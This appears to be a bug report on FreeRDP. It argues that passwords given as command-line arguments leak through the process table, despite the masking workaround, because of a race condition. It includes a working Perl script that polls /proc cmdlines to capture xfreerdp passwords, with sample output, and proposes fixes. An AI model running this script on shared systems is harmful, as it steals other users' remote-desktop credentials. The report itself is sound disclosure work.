FreeRDP: Supplying passwords via command line argument (e.g. /p:) is broken by design

The currently recommended method to pass passwords to FreeRDP seem to be several command line arguments that take the respective password as an argument, as documented in the usage text:

martin@dogmeat ~/src/FreeRDP % ./client/X11/xfreerdp | grep -i pass
    /pth:<password hash>        Pass the hash (restricted admin mode)
    /p:<password>               Password
    /gp:<password>              Gateway password
    /reconnect-cookie:<base64 cookie>   Pass base64 reconnect cookie to the connection
    /assistance:<password>      Remote assistance password

martin@dogmeat ~/src/FreeRDP % ./client/X11/xfreerdp                                                                             
[...]
Examples:
    xfreerdp connection.rdp /p:Pwd123! /f
    xfreerdp /u:CONTOSO\JohnDoe /p:Pwd123! /v:rdp.contoso.com
    xfreerdp /u:JohnDoe /p:Pwd123! /w:1366 /h:768 /v:192.168.1.100:4489
    xfreerdp /u:JohnDoe /p:Pwd123! /vmconnect:C824F53E-95D2-46C6-9A18-23A5BB403532 /v:192.168.1.100

As most people probably know, this is very unsafe because the password is visible in the process table, e.g. in ps aux. At some point a workaround was added for this problem that replaces the password in the process name with asterisks: #829

Unfortunately, this workaround suffers from two issues:

1. An attacker can still learn the password length from the process table, which might speed up a brute force attack.
2. It is a race condition vulnerability: an attacker might still be able to read the password from the process table if he’s fast enough, because there is a small time window between the process creation and the point where the FreeRDP command line parser overwrites the password. If the attacker manages to read the command line from the process table in this time window, he’s able to read the password.

I’ve written a small Perl script that can demonstrate the issue (required the libfile-slurp-perl package to be installed on a Debian system):

#!/usr/bin/perl
use warnings;
use strict;
use File::Slurp;
use Scalar::Util qw(looks_like_number);
my %proc;

sub read_proc($)
{
  my $print = shift;
  my %old_proc = %proc;
  %proc = ();
  opendir my $dh, '/proc' || die "can't opendir";
  while (readdir $dh)
  {
    next if $_ eq "." || $_ eq "..";
    next if !looks_like_number($_);
    $proc{$_} = 1;
    if (!$old_proc{$_} && $print)
    {
      for (my $i = 0; $i < 100; $i++)
      {
        my $contents = read_file "/proc/$_/cmdline", err_mode => "carp";
        next if !defined $contents;
        $contents =~ s/\0/ /g;
        if ($contents =~ /\bxfreerdp/ && $contents !~ /\/p:\*$/)
        {
          print "$contents\n";
          last;
        }
      }
    }
  }
}

read_proc 0;

while(1)
{
  read_proc 1;
}

The script will print FreeRDP passwords after a FreeRDP process has been spawned:

martin@dogmeat ~ % ./test.pl
xfreerdp /cert-ignore +clipboard /u:martin /bpp:8 /size:1680x1050 +compression -wallpaper -menu-anims -themes /v:10.2.56.101 /p:myverysecretpassword 

martin@dogmeat ~ % xfreerdp /cert-ignore +clipboard /u:martin /bpp:8 /size:1680x1050 +compression -wallpaper -menu-anims -themes /v:10.2.56.101 /p:myverysecretpassword
loading channel cliprdr
unable to connect to 10.2.56.101:3389
Error: protocol security negotiation or connection failure

There is the /from-stdin option, but it interferes with other parts of FreeRDP which might want to read from STDIN (for example the “Do you trust the above certificate?” prompt, though this can be worked around with /cert-ignore) and it only supports /p passwords and not the other switches like /pth, /gp and /assistance (at least as far as I can tell from the source, I haven’t actually needed any of these switches yet).

There is a patch from @rkeene in #2904 that adds support for reading passwords from an environment variable, but this apparently hasn’t been added yet. I’d suggest the following changes:

• add support for reliably and securely passing passwords to FreeRDP, with environment variables and files. Environment variables should be unset by FreeRDP as soon as the password has been read so they can’t be accidentally dumped or passed to subprocessed, and files should probably cause a warning message to be printed if they are world-readable.
• deprecate (but don’t remove) the old /p etc. options and cause them to print warnings
• update the documentation so that it demonstrates how to pass passwords securely